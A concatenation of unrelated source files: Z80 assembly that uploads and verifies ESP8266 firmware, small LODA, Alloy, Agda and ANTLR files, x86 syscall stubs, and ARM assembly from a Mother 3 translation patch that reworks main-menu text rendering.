; blocksize = 0x00001800 (UInt32)
; offset = 0x4010E000 (UInt32)
; Ignore what the PyCharm debugger says - it is showing 14 bytes instead of 16 :(
ESPSendCmdWithData(ESP_MEM_BEGIN, SLIP.Stub1, SLIP.Stub1Len, Err.StubUpload)
ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubText+0x0000, 0x1800, 0, Err.StubUpload)
ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubText+0x1800, 0x0760, 1, Err.StubUpload)
ESPSendCmdWithData(ESP_MEM_BEGIN, SLIP.Stub2, SLIP.Stub2Len, Err.StubUpload)
ESPSendDataBlock(ESP_MEM_DATA, ESP8266StubData+0x0000, 0x0300, 0, Err.StubUpload)
; Run stub
; mem_finish(stub['entry']) ; 0x4010E004
ESPSendCmdWithData(ESP_MEM_END, SLIP.EntryBlock, SLIP.EntryBlockLen, Err.StubUpload)
; Check stub is running
; If so, it returns a string "OHAI" straight after the SLIP response
ld hl, Buffer+$0D
ld a, (hl)
cp 'O'
jr nz, FailStub
inc hl
ld a, (hl)
cp 'H'
jr nz, FailStub
inc hl
ld a, (hl)
cp 'A'
jr nz, FailStub
inc hl
ld a, (hl)
cp 'I'
jr nz, FailStub
jr OkStub
FailStub: ErrorAlways(Err.StubRun)
OkStub: PrintMsg(Msg.Stub2)
if enabled FastUART
SetUARTBaud(Baud.b1152000, Msg.b1152000)
; esp.change_baud(1152000)
ESPSendCmdWithData(ESP_CHANGE_BAUDRATE, SLIP.ChgBaud, SLIP.ChgBaudLen, Err.BaudChg)
; print("Changed.")
; self._set_port_baudrate(baud)
; time.sleep(0.05) # get rid of crap sent during baud rate change
; self.flush_input()
endif
; flash_set_parameters(self, 0x00100000) [1MB]
; fl_id = 0
; total_size = 0x00100000
; block_size = 64 * 1024
; sector_size = 4 * 1024
; page_size = 256
; status_mask = 0xffff
; self.command(op, data, chk, timeout=timeout)
; op = 11 ESP_SPI_SET_PARAMS
; data = 24 bytes, of which:
; fl_id = 0x00000000
; total_size = 0x00100000
; block_size = 0x00010000
; sector_size = 0x00001000
; page_size = 0x00000100
; status_mask = 0x0000ffff
; chk = 0
; timeout = 3
ESPSendCmdWithData(ESP_SPI_SET_PARAMS, SLIP.CfgFlash, SLIP.CfgFlashLen, Err.FlashSet)
; operation_func(esp, args)
; write_flash(esp, args)
; image = _update_image_flash_params(esp, address, args, image), where
; address = 0
; image = 1,048,576 bytes
; # unpack the (potential) image header: some stuff to check this is really a fw image
; Look at first four bytes:
; magic = ESP_IMAGE_MAGIC 0xE9
; dummy = ??
; flash_mode = 2
; flash_size_freq = 1
; if magic <> ESP_IMAGE_MAGIC jp AfterModFlashParams
; flash_freq = 1 (26m)
; flash_mode = 2 (dio)
; flash_size = 32 (MB)
; flash_params = struct.pack(b'BB', flash_mode, flash_size + flash_freq) = 0x2102
; flash_mode appears first, flash_size + flash_freq appears second
; replace bytes 2 and 3 (zero-based) of image with these two bytes
PrintMsg(Msg.FlashParams) ; "Flash params set to 0x"
ld a, (FlashParams)
call PrintAHexNoSpace ; Print param word in hex
ld a, (FlashParams+1)
call PrintAHexNoSpace
PrintMsg(Msg.EOL)
PrintMsg(Msg.Upload1) ; "Uploading "
ld hl, FWCompLenStr
call PrintRst16 ; Print compresed size in decimal
PrintMsg(Msg.Upload2) ; " bytes..."
ld a, 1
ld (CRbeforeErr), a
ld hl, 0
ld (BlockSeqNo), hl
; blocks = esp.flash_defl_begin(uncsize, len(image), address)
; blocks = esp.flash_defl_begin(1048576, 457535, 0)
; blocks = esp.flash_defl_begin(0x00100000, 0x0006FB3F, 0)
; num_blocks = (compsize + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE = 28
; erase_blocks = (size + self.FLASH_WRITE_SIZE - 1) // self.FLASH_WRITE_SIZE = 64
; write_size = size = 1048576
; struct.pack('<IIII', write_size, num_blocks, self.FLASH_WRITE_SIZE, offset)
; FLASH_WRITE_SIZE = 0x4000 (16K)
; offset = 0
; SLIP.FlashBlock was already prepopulated when we read the firmware header
ESPSendCmdWithData(ESP_FLASH_DEFL_BEGIN, SLIP.FlashBlock, SLIP.FlashBlockLen, Err.FlashStart)
FlashLoop:
PrintMsg(Msg.Upload3) ; "Writing at 0x"
ld hl, (BlockHeaderStart)
ld e, (hl)
inc hl
ld d, (hl)
ld (BlockDataLen), de ; Compressed block size (DataLen)
inc hl
ld de, Progress ; "00000000 (3%) " etc
push de
ld bc, 15
ldir
pop hl
call PrintRst16 ; Print address and percentage
PrintMsg(Msg.UploadLeft) ; Print left 15 chars
; print('\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE,
; 100 * (seq + 1) // blocks), end='')
; block = image[0:esp.FLASH_WRITE_SIZE]
; esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio)
; ratio = 2.3 (maybe 7 frames?)
; image = image[esp.FLASH_WRITE_SIZE:]
; seq += 1
; written += len(block)
; esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio)
; self.ESP_FLASH_DEFL_DATA, struct.pack('<IIII', len(data), seq, 0, 0) + data,
; self.checksum(data), timeout=timeout) - line 632
ld hl, $C000 ; Load 16K of compressed firmware data
ld bc, $4000 ; into the buffer at $C000
call esxDOS.fRead
ErrorIfCarry(Err.ReadFW)
BlockDataLen equ $+1: ld bc, SMC ; bc = compressed block size (DataLen)
BlockSeqNo equ $+1: ld de, SMC ; de = Seq number (Seq)
SetReadTimeout(500)
ESPSendDataBlockSeq(ESP_FLASH_DEFL_DATA, $C000, Err.FlashUp)
RestoreReadTimeout()
//call Wait100Frames ; Pause to allow decompression
ld hl, (BlockHeaderStart)
ld de, (HeaderBlockSize)
add hl, de ; Move block header pointer to next block
ld (BlockHeaderStart), hl
ld hl, (BlockSeqNo) ; Increase and save block sequence no
inc hl
ld (BlockSeqNo), hl
ld hl, (BlockCount)
dec hl ; Decrease and save block count
ld (BlockCount), hl
ld a, h
or l
jp nz, FlashLoop ; If more blocks remain, upload again
xor a
ld (CRbeforeErr), a
PrintMsg(Msg.Written1) ; "Wrote "
ld hl, FWCompLenStr
call PrintRst16 ; Print compressed size in decimal
PrintMsg(Msg.Written2) ; " bytes to flash "
; Ask ESP uploader stub to calculate the MD5 hash of the 1MB of data we just uploaded,
; after the stub has decompressed it. It will return it in a SLIP response, after a
; delay. Because we know the size and location, we can increase the timeout and
; skip the validation, then verify the MD5 hash directly from the read buffer.
;
; res = esp.flash_md5sum(address, uncsize)
; res = esp.flash_md5sum(0, 0x00100000)
; self.ESP_SPI_FLASH_MD5, struct.pack('<IIII', addr, size, 0, 0)
SetReadTimeout(255)
DisableReadValidate()
ESPSendCmdWithData(ESP_SPI_FLASH_MD5, SLIP.Md5Block, SLIP.Md5BlockLen, Err.BadMd5)
EnableReadValidate()
RestoreReadTimeout()
; Compare the 32 returned bytes in the buffer against the precalculated MD5 hash
; we read from the firmware extended header.
ld hl, Buffer+9 ; Received hash start address, in buffer.
ld de, GotMD5 ; A safe place, so we can print later.
ld b, 16
MD5Loop: ld a, (hl)
call SlipUnescape ; Unescape $DB $DC to $C0, unescape $DB $DD to $DB
ld (de), a ; Copy the unescaped byte to safe place
inc hl ; Increase source buffer pointer
inc de ; and destination pointer.
djnz MD5Loop ; After loop, exactly 16 unescaped bytes were copied
ld hl, GotMD5 ; Received hash start address, in safe place.
ld de, FWMD5 ; Precalculated hash start address, in vars.
ld b, 16 ; Size of hash, MD5 is always 16 bytes (not hex string)
HashVerifyLoop: ld a, (de)
cp (hl)
inc hl ; 16bit inc doesn't affect flags
inc de
jr nz, HashNotVerified
djnz HashVerifyLoop ; Repeat for all 16 bytes of MDS hash
jr HashVerified
HashNotVerified: PrintMsg(Msg.HashExp) ; "Expecting hash:"
PrintBufferHex(FWMD5, 16)
PrintMsg(Msg.HashGot) ; "Actual hash:"
PrintBufferHex(GotMD5, 16)
PrintMsg(Msg.EOL)
ErrorAlways(Err.BadMd5) ; If any byte differs, raise "MD5 hash failure" error.
HashVerified: PrintMsg(Msg.GoodMd5) ; "Hash of data verified"
; Send an ESP_FLASH_BEGIN command to begin the final sequence. esptool.py says:
; # skip sending flash_finish to ROM loader here,
; # as it causes the loader to exit and run user code
; esp.flash_begin(0, 0)
; struct.pack('<IIII', erase_size, num_blocks, self.FLASH_WRITE_SIZE, offset)
; erase_size = 0
; num_blocks = 0
; FLASH_WRITE_SIZE = 0x4000 (already set when we read the extended firmware header)
; offset = 0
PrintMsg(Msg.Finalize) ; "Finalising...", esptool.py prints "Leaving..." here
ESPSendCmdWithData(ESP_FLASH_BEGIN, SLIP.FinalizeBlock, SLIP.FinalizeBlockLen, Err.Finalize)
; Send an ESP_FLASH_DEFL_END command to exit the flash write
; esp.flash_defl_finish(False)
; pkt = struct.pack('<I', int(not reboot)) = 0x00000001
; self.check_command("leave compressed flash mode", self.ESP_FLASH_DEFL_END, pkt)
ESPSendCmdWithData(ESP_FLASH_DEFL_END, SLIP.ExitBlock, SLIP.ExitBlockLen, Err.ExitWrite)
PrintMsg(Msg.ResetESP) ; "Resetting ESP..."
call ResetESP
call Wait80Frames
SetReadTimeout(255)
call ESPReadIntoBuffer
call ESPReadIntoBuffer
RestoreReadTimeout()
PrintMsg(Msg.Success) ; "ESP updated successfully!"
EndOfCommand:
if (ErrDebug)
; This is a temporary testing point that indicates we have have reached
; The "success" point, and does a red/blue border effect instead of
; actually exiting cleanly to BASIC.
Freeze(1,2)
else
; This is the official "success" exit point of the program which restores
; all the settings and exits to BASIC cleanly.
jp Return.ToBasic
endif
include "constants.asm" ; Global constants
include "macros.asm" ; Zeus macros
include "general.asm" ; General routines
include "esp.asm" ; ESP and SLIP routines
include "esxDOS.asm" ; ESXDOS routines
include "print.asm" ; Messaging and error routines
include "vars.asm" ; Global variables
; Everything after this is padded to the next 8K
; but assembles at $8000
include "stub.asm" ; ESP upload stub and input buffer
db $55, $AA, $55 ; Magic bytes to check we included the correct amount of data
UpperCodeLen equ $-UpperCodeStart
Length equ $-Start-$4000 ; This adjust for the displacement of the upper code bank
zeusprinthex "Lower code: ", LowerCodeStart, LowerCodeLen
zeusprinthex "Upper code: ", UpperCodeStart, UpperCodeLen
zeusprinthex "Cmd size: ", Length
zeusassert zeusver<=75, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe"
if (LowerCodeLen > $2000)
zeuserror "DOT command (lower code) is too large to assemble!"
endif
if (UpperCodeLen > $4000)
zeuserror "DOT command (upper code) is too large to assemble!"
endif
output_bin "..\\..\\dot\\ESPUPDATE", Start, Length ; Binary for project, and for CSpect image.
BuildArgs = "";
if enabled CSpect
BuildArgs = BuildArgs + "-c "
endif
if enabled RealESP
BuildArgs = BuildArgs + "-e "
endif
if enabled AppendFW
BuildArgs = BuildArgs + "-a "
endif
zeusinvoke "..\\..\\build\\builddot.bat " + BuildArgs, "", false ; Run batch file with args
|
programs/oeis/228/A228305.asm | neoneye/loda | 22 | 244066 | ; A228305: a(1) = 3; for n >= 1, a(2*n) = 2^(n+1), a(2*n+1) = 5*2^(n-1).
; 3,4,5,8,10,16,20,32,40,64,80,128,160,256,320,512,640,1024,1280,2048,2560,4096,5120,8192,10240,16384,20480,32768,40960,65536,81920,131072,163840,262144,327680,524288,655360,1048576,1310720,2097152,2621440,4194304,5242880
mov $2,$0
gcd $2,2
lpb $0
sub $0,1
trn $0,1
add $3,$2
mov $2,$3
add $2,3
lpe
add $0,$3
add $0,3
|
alloy4fun_models/trashltl/models/8/rC6kqc9bG3JC6Y8fE.als | Kaixi26/org.alloytools.alloy | 0 | 4681 | <reponame>Kaixi26/org.alloytools.alloy
open main
pred idrC6kqc9bG3JC6Y8fE_prop9 {
always all p: Protected | always p not in Trash
}
pred __repair { idrC6kqc9bG3JC6Y8fE_prop9 }
check __repair { idrC6kqc9bG3JC6Y8fE_prop9 <=> prop9o } |
prototyping/Luau/Syntax.agda | FreakingBarbarians/luau | 1 | 15692 | module Luau.Syntax where
open import Luau.Var using (Var)
open import Luau.Addr using (Addr)
infixr 5 _∙_
data Block : Set
data Stat : Set
data Expr : Set
data Block where
_∙_ : Stat → Block → Block
done : Block
data Stat where
function_⟨_⟩_end : Var → Var → Block → Stat
local_←_ : Var → Expr → Stat
return : Expr → Stat
data Expr where
nil : Expr
var : Var → Expr
addr : Addr → Expr
_$_ : Expr → Expr → Expr
function⟨_⟩_end : Var → Block → Expr
block_is_end : Var → Block → Expr
|
oeis/001/A001535.asm | neoneye/loda-programs | 11 | 169516 | <gh_stars>10-100
; A001535: (10n+1)(10n+9).
; 9,209,609,1209,2009,3009,4209,5609,7209,9009,11009,13209,15609,18209,21009,24009,27209,30609,34209,38009,42009,46209,50609,55209,60009,65009,70209,75609,81209,87009,93009,99209,105609,112209,119009,126009,133209,140609,148209,156009,164009,172209,180609,189209,198009,207009,216209,225609,235209,245009,255009,265209,275609,286209,297009,308009,319209,330609,342209,354009,366009,378209,390609,403209,416009,429009,442209,455609,469209,483009,497009,511209,525609,540209,555009,570009,585209,600609
add $0,1
bin $0,2
mul $0,200
add $0,9
|
src/msg/msg.g4 | GitMensch/vms-ide | 5 | 5034 | grammar msg;
options { tokenVocab=msgLex; }
msgContent: (
title
| ident
| page
| literal
| facility
| eolMayComment
)* EOF;
title: WHITESPACE? DOT TITLE WHITESPACE titleName (WHITESPACE titleDescription)? NEWLINE; //no comments, no continuation in TITLE
titleName: NAME;
titleDescription: (~NEWLINE)*;
ident: WHITESPACE? DOT IDENT IDENTSEP IDENTSEP* identValue IDENTSEP* IDENTCOMMENT? IDENT_CLOSE;
identValue:
IDENTNAME
| IDENTSTRING;
page: WHITESPACE? DOT PAGE eolMayComment;
literal: WHITESPACE? DOT LITERAL sep literalDefinition (sep? COMMA sep? literalDefinition)* eolMayComment;
literalDefinition: literalName (sep? ASSIGN sep? literalValue)?;
literalName: NAME;
literalValue: expression;
facility:
WHITESPACE? DOT FACILITY sep (facilityQualifier sep?)* facilityDescription sep? (facilityQualifier sep?)* eolMayComment
facilityContent*
end?;
facilityDescription: facilityName sep? (sep | COMMA) sep? facilityNumber;
facilityName: NAME;
facilityNumber: expression;
facilityContent:
severity
| page
| base
| literal
| message
| eolMayComment
;
facilityQualifier: prefixQualifier | sharedQualifier | systemQualifier ;
prefixQualifier: WHITESPACE? DIV PREFIX sep? ASSIGN sep? prefixQualifierValue;
prefixQualifierValue: NAME;
sharedQualifier: WHITESPACE? DIV SHARED;
systemQualifier: WHITESPACE? DIV SYSTEM;
severity: WHITESPACE? DOT SEVERITY sep severityValue eolMayComment;
severityValue: SUCCESS | INFORMATIONAL | WARNING | ERROR | SEVERE | FATAL;
base: WHITESPACE? DOT BASE sep baseNumber eolMayComment;
baseNumber: NUMBER | HEXNUM | OCTNUM | DECNUM ; // the same as number
end: WHITESPACE? DOT END eolMayComment;
expression :
P_OPEN WHITESPACE? expression WHITESPACE? P_CLOS
| expression WHITESPACE? (SHIFT) WHITESPACE? expression
| expression WHITESPACE? (MUL|DIV) WHITESPACE? expression
| expression WHITESPACE? (ADD|SUB) WHITESPACE? expression
| (ADD|SUB)? WHITESPACE? (number | expressionVariable)
;
expressionVariable: NAME;
number: NUMBER | HEXNUM | OCTNUM | DECNUM ;
sep: (WHITESPACE | continuation+) WHITESPACE? ;
continuation: WHITESPACE? SUB eolMayComment;
eolMayComment: WHITESPACE? (EXCL (~NEWLINE)*)? NEWLINE;
message: WHITESPACE? messageName sep (messageQualifier sep?)* messageText sep? (messageQualifier sep?)* eolMayComment;
messageName: NAME;
messageQualifier:
faoCount
| identification
| userValue
| severityQualifier;
severityQualifier:
success
| informational
| warning
| error
| severe
| fatal;
faoCount: WHITESPACE? DIV FAOCOUNT sep? ASSIGN sep? faoCountValue;
faoCountValue: NUMBER;
identification: WHITESPACE? DIV IDENTIFICATION sep? ASSIGN sep? identificationValue;
identificationValue: NAME;
userValue: WHITESPACE? DIV USERVALUE sep? ASSIGN sep? userValueValue;
userValueValue: NUMBER;
success: WHITESPACE? DIV SUCCESS;
informational: WHITESPACE? DIV INFORMATIONAL;
warning: WHITESPACE? DIV WARNING;
error: WHITESPACE? DIV ERROR;
severe: WHITESPACE? DIV SEVERE;
fatal: WHITESPACE? DIV FATAL;
messageText:
BSTRING_OPEN (BFAO | BTEXT)*? BSTRING_CLOSE
| QSTRING_OPEN (QFAO | QTEXT)*? QSTRING_CLOSE
| ASTRING_OPEN (AFAO | ATEXT)*? ASTRING_CLOSE
;
|
Userland/SampleCodeModule/asm/libasm.asm | Reversive/taur-os | 4 | 5680 | <reponame>Reversive/taur-os
GLOBAL _syscall
GLOBAL invalid_opcode_test
_syscall:
push rbp
mov rbp, rsp
int 0x80
mov rsp, rbp
pop rbp
ret
invalid_opcode_test:
push rbp
mov rbp, rsp
mov rbx, 0x20
mov cr6, rax
mov rsp, rbp
pop rbp
ret |
main_menu_hacks.asm | BetaDream-X/Mother3German | 11 | 246173 | main_menu_hacks:
//=============================================================================================
// This set of hacks makes the game load and display long strings on main menu stuff correctly.
//=============================================================================================
.write_item_text:
push {r0-r1,lr}
// custom jeff code
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#6
bne +
pop {r0}
str r0,[sp,#0xC] // clobbered code
ldr r0,[r4,#0x0]
pop {r1,pc}
//
+
mov r1,#0x58 // # of max letters per item * 4, since each letter has 4 bytes for some reason
cmp r0,#0x10 //If we're in the loading/saving menu, give some extra space
bne +
mov r1,#1
lsl r1,r1,#8 //This needs to print an actual string, not an item
+
ldr r0,=#0x2013070 // starting address of our item names in RAM
mul r1,r6 // r6 has the current item counter, which is nice and convenient for us
add r0,r0,r1 // r2 now has the proper spot in RAM for the item
pop {r1} // get the address the game would write to normally
str r0,[r1,#0x0] // r0 leaves with the new address in RAM for longer names yay
str r0,[sp,#0xC] // clobbered code
ldr r0,[r4,#0x0]
pop {r1,pc}
//=============================================================================================
.write_item_eos:
push {lr}
// custom jeff code
ldr r0,=#0x201A288
ldrb r0,[r0,#0]
cmp r0,#6
beq .write_item_eos_memoes
ldr r1,=#0x2013070
mov r2,#0x58
cmp r0,#0x10
bne +
mov r2,#1
lsl r2,r2,#8
+
mov r0,r10
sub r0,#1
mul r0,r2
add r1,r0,r1
lsl r6,r6,#2
add r1,r1,r6
mov r0,#1
neg r0,r0
str r0,[r1,#0]
b .write_item_eos_end
.write_item_eos_memoes:
ldr r0,[sp,#8]
mov r1,#1
neg r1,r1
str r1,[r0,#0]
.write_item_eos_end:
mov r1,r10 // clobbered code
lsl r0,r1,#0x10
pop {pc}
//=============================================================================================
.clear_data:
push {r2-r3,lr}
// custom jeff code
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#6
beq +
//
mov r0,#0
push {r0}
mov r0,sp
ldr r1,=#0x2013060
ldr r2,=#0x8EE
mov r3,#1
lsl r3,r3,#24
orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy
swi #0x0B // clear old data out
add sp,#4
+
mov r0,#0xD8 // I assume this is clobbered code?
lsl r0,r0,#0x7
pop {r2-r3,pc}
//=============================================================================================
.find_str:
push {lr}
ldr r2,[sp,#4+0x2C]
ldrb r1,[r2,#0x4] // swap_address_set
mov r0,#2
cmp r1,#1
beq .find_str_end
mov r3,#0xAA
lsl r3,r3,#3
add r3,r4,r3 // last possible address
-
ldr r0,[r6,#0x0] // load the real next value
lsl r0,r0,#0x14
cmp r0,#0
bne .find_str_found
add r6,#4
cmp r6,r3
bcs .find_str_not_found
b -
.find_str_found:
ldr r1,[sp,#4+0x20]
cmp r1,#6
beq + // if this is the memo menu, we don't swap around, still save we're mid-printing
str r6,[r2,#0] // save swap_address
ldr r6,[r6,#0] // new address
+
mov r1,#1
strb r1,[r2,#4] // swap_address_set = true
mov r0,#1
.find_str_end:
pop {pc}
.find_str_not_found:
mov r0,#0 // not found any string, signal this and reset everything
sub r2,#0x20
str r0,[r2,#0] // set these to 0, we're done printing
b .find_str_end
//=============================================================================================
.exit_str:
push {lr}
ldr r2,[sp,#4+0x2C]
ldr r1,[sp,#4+0x20]
cmp r1,#6
beq +
ldrb r1,[r2,#0x4] // swap_address_set
cmp r1,#1
bne +
ldr r6,[r2,#0] // load swap_address if not in the memos menu and it's set
+
mov r1,#0
strb r1,[r2,#4] // swap_address_set = false
pop {pc}
//=============================================================================================
// Allocates the tiles buffer for the given input in the stack
.alloc_tiles_buffer:
push {r0-r6,lr}
ldr r4,[sp,#0x20+4] // current buffer address
ldr r5,[sp,#0x20+0x10] // curr_X
ldr r6,[sp,#0x20+0xC] // Y
ldr r0,[sp,#0x20+0x18] // Special arrangement loading?
cmp r0,#0
beq +
lsr r0,r5,#3
bl .new_get_address
b .alloc_tiles_buffer_got_vram_addr
+
lsr r0,r5,#3
asr r1,r6,#3
bl $80498B0 // VRAM address
.alloc_tiles_buffer_got_vram_addr:
str r0,[r4,#0]
lsr r0,r5,#3
asr r1,r6,#3
bl $80498C4 // Arrangement address
str r0,[r4,#4]
ldr r1,=#0x6008000
ldr r2,[r4,#0]
sub r2,r2,r1 // Get how many tiles this is from the start of VRAM
mov r1,#0x40
add r1,r0,r1 // Position of bottom arrangements
lsr r2,r2,#5 // Top arrangements
mov r3,#0x20
add r3,r2,r3 // Bottom arrangements
strh r2,[r0,#0] // Set the buffer arrangements
strh r3,[r1,#0]
add r2,#1
add r3,#1
strh r2,[r0,#2] // Set the buffer arrangements
strh r3,[r1,#2]
add r2,#1
add r3,#1
strh r2,[r0,#4] // Set the buffer arrangements
strh r3,[r1,#4]
// Time to prepare the actual buffers
ldr r0,[sp,#0x20+0x14] // Is this the first?
cmp r0,#0
beq +
ldr r0,=#0x2013040
mov r1,r4
add r1,#8
ldr r2,[r0,#8]
str r2,[r1,#0]
ldr r2,[r0,#0xC]
str r2,[r1,#4]
ldr r2,[r0,#0x10]
str r2,[r1,#8] // Restore the old top tile buffer we saved here
add r1,#0x60
ldr r2,[r0,#0x14]
str r2,[r1,#0]
ldr r2,[r0,#0x18]
str r2,[r1,#4]
ldr r2,[r0,#0x1C]
str r2,[r1,#8] // Restore the old bottom tile buffer we saved here
mov r0,#0
push {r0}
mov r0,sp
mov r1,#0x28
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x20
orr r2,r3
swi #0xB // Set the other 2 top tiles of the buffer
mov r0,sp
mov r1,#0x88
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x20
orr r2,r3
swi #0xB // Set the other 2 bottom tiles of the buffer
pop {r0}
b .alloc_tiles_buffer_end
+
mov r0,#0
push {r0}
mov r0,sp
mov r1,#8
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x30
orr r2,r3
swi #0xB // Set the 3 top tiles of the buffer
mov r0,sp
mov r1,#0x68
add r1,r4,r1
mov r3,#1
lsl r3,r3,#0x18
mov r2,#0x30
orr r2,r3
swi #0xB // Set the 3 bottom tiles of the buffer
pop {r0}
.alloc_tiles_buffer_end:
ldr r0,[sp,#0x20+0] // max_buffers
sub r0,#1
str r0,[sp,#0x20+0]
ldr r0,[sp,#0x20+4]
mov r1,#0xCC
add r0,r0,r1
str r0,[sp,#0x20+4]
mov r0,#0
str r0,[sp,#0x20+0x14] // Set this as not the first
pop {r0-r6,pc}
//=============================================================================================
// Initializes the specified number of tiles in the buffer.
// It takes in r0 the max amount of buffers to allocate, in r1 the current buffer address,
// X in r2 and Y in r3
.alloc_tiles_buffers:
push {r4-r7,lr}
add sp,#-0x28
str r0,[sp,#0] // max buffers
str r1,[sp,#4] // buffer address
str r2,[sp,#8] // X
str r3,[sp,#0xC] // Y
str r2,[sp,#0x10] // curr_X
ldr r1,[sp,#0x3C+0x1C]
str r1,[sp,#0x14] // save whether to reload the first tile or not
ldr r1,[sp,#0x3C+0x34]
str r1,[sp,#0x18] // save extra data for special vram printing
cmp r1,#0
beq +
ldr r1,[sp,#0x3C+0x38] // WARNING! THESE ARE ALMOST AT THE INSTRUCTION'S RANGE LIMIT!
str r1,[sp,#0x1C] // save first base address
ldr r1,[sp,#0x3C+0x3C]
str r1,[sp,#0x20] // save second base address
ldr r1,[sp,#0x3C+0x40]
str r1,[sp,#0x24] // save switch value
+
mov r1,#7
and r2,r1
sub r4,r6,#4 // save str to r4
mov r5,#0 // tile_was_printed
mov r3,#1
neg r3,r3 // EOS
ldr r7,[sp,#0x3C+0x30]
-
add r4,#4
ldr r0,[r4,#0x0] // load the real next value
cmp r0,r3 // go to the end if it's EOS
beq .alloc_tiles_buffers_end
lsl r0,r0,#0x14
lsr r0,r0,#0x14 // load the actual value
add r0,r7,r0
ldrb r0,[r0,#0] // get the character's length
add r2,r2,r0 // increase the length
cmp r5,#0
bne +
mov r5,#1 // set tile_was_printed
bl .alloc_tiles_buffer // alloc the buffer
ldr r0,[sp,#0]
cmp r0,#0
ble .alloc_tiles_buffers_end
+
cmp r2,#0x18
blt -
ldr r0,[sp,#0x10]
.alloc_tiles_buffers_subtract_width:
sub r2,#0x18
add r0,#0x18
cmp r2,#0
beq +
str r0,[sp,#0x10]
bl .alloc_tiles_buffer
ldr r1,[sp,#0]
cmp r1,#0
ble .alloc_tiles_buffers_end
cmp r2,#0x18
bge .alloc_tiles_buffers_subtract_width
b -
+
str r0,[sp,#0x10]
mov r5,#0 // unset tile_was_printed
b -
.alloc_tiles_buffers_end:
ldr r0,[sp,#0] // free buffers
add sp,#0x28
pop {r4-r7,pc}
//=============================================================================================
.check_special_bit:
push {r2,lr} // why are you pushing r2? :P
strh r1,[r6,#2] // original code
ldr r0,[r4,#0]
// custom jeff code
// maybe this is why :O
ldr r2,=#0x201A288
ldrb r2,[r2,#0]
cmp r2,#6
beq +
//
ldr r0,[r0,#0] // load the first letter data of the real text in
+
pop {r2,pc}
//=============================================================================================
.store_total_strings:
// custom jeff code
ldr r2,=#0x2013040
strb r0,[r2,#2] // store the strings total
add r3,sp,#0xC
mov r8,r3
bx lr
//=============================================================================================
// 2013040 halfword total # of letters
// 2013041 ...
// 2013042 byte total # of passes that will be needed
// 2013043 byte current pass #
// this routine initializes most of this stuff
.reset_processed_strings:
push {lr}
// custom jeff code
ldr r4,=#0x2013040 // custom area of RAM for this is here
mov r2,#0
strb r2,[r4,#3] // total # of strings processed = 0
pop {pc}
//=============================================================================================
.load_remaining_strings:
// custom jeff code
ldr r0,[sp,#0x28]
ldrb r1,[r0,#2] // get the strings #
ldrb r0,[r0,#3] // get the currently processed strings
sub r1,r1,r0
bx lr
//=============================================================================================
.load_remaining_strings_external:
// custom jeff code
ldr r0,=#0x2013040
ldrb r1,[r0,#2] // get the strings #
ldrb r0,[r0,#3] // get the currently processed strings
sub r1,r1,r0
bx lr
//=============================================================================================
.decrement_remaining_strings:
// custom jeff code
ldr r0,[sp,#0x28]
ldrb r1,[r0,#2] // get the strings #
ldrb r2,[r0,#3] // get the currently processed strings
add r2,#1
strb r2,[r0,#3] // increase them by 1
sub r1,r1,r2
bx lr
//=============================================================================================
.group_add_check:
push {r2-r3}
// custom jeff code
mov r0,#0 // this will be the final default result
ldr r2,=#0x2013040 // address of start of counter area
ldrb r1,[r2,#3] // load the current string #
ldrb r3,[r2,#2] // load the total # of strings
cmp r1,r3 // is curr_str >= total_str?, if so, set r0 to 4 to signal the end
blt + // if it's <= total_str, skip this extra stuff
mov r0,#4 // this will be r0 at the end, it signals the code that items are done
mov r1,#0 // set the strings # back to 0
strh r1,[r2,#2] // set the total length back to 0 so the game won't freak out
+
mov r1,#7 // clobbered code
pop {r2-r3}
bx lr
//============================================================================================
// This routine converts the VRAM entries from 1bpp to 4bpp.
// We want to go VERY FAST.
//============================================================================================
.convert_1bpp_4bpp:
push {r2,r4-r6,lr}
cmp r1,#0
beq .convert_1bpp_4bpp_end
ldr r6,=#0x8CDF9F8
mov r2,#0xAA
lsl r2,r2,#3
add r5,r2,r4
add r5,#8 // Starting tiles
mov r4,r1
.convert_1bpp_4bpp_loop_start:
ldrb r0,[r5,#8]
cmp r0,#0
beq +
mov r0,#3
bl convert_1bpp_4bpp_tiles
+
.convert_1bpp_4bpp_loop_bottom:
add r5,#0x60
ldrb r0,[r5,#8]
cmp r0,#0
beq +
mov r0,#3
bl convert_1bpp_4bpp_tiles
+
.convert_1bpp_4bpp_loop_end:
sub r4,#1 // One entry is done
cmp r4,#0
ble .convert_1bpp_4bpp_end
add r5,#0x6C
b .convert_1bpp_4bpp_loop_start
.convert_1bpp_4bpp_end:
pop {r2,r4-r6,pc}
//=============================================================================================
// THIS CODE AND THE ONE IN text_weld INSIDE sprite_text_hacks ARE BASICALLY THE SAME!
// THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM,
// IT'S PROBABLY IN THE OTHER ONE AS WELL
//Writes a Glyph stored in r0 to the buffer in r1. r2 is the X and r3 is the letter's info
.write_Glyph_1bpp:
push {r4-r7,lr} // This is an efficient version of the printing routine
mov r5,r1
mov r6,r1
add r6,#0x20
mov r4,r0
mov r7,r2
lsl r2,r3,#0x10
lsr r2,r2,#0x1C
mov r0,#1
strb r0,[r5,#8] // This tile is used
strb r2,[r5,#9] // Store the palette
ldr r3,[sp,#0x14+0x20] // The current letter's width
cmp r7,#8
blt +
mov r5,r6
add r6,#0x20
cmp r7,#0x10
blt +
sub r7,#0x10
mov r5,r6
mov r0,#0x8C
add r6,r6,r0
add r0,r7,r3 // Does this cross to the other tile?
cmp r0,#8
blt +
mov r0,#1
strb r0,[r6,#8] // This tile is used
strb r2,[r6,#9] // Store the palette
+
add r2,r3,#7 // If this isn't a multiple of 8, it will go over a multiple of 8 now
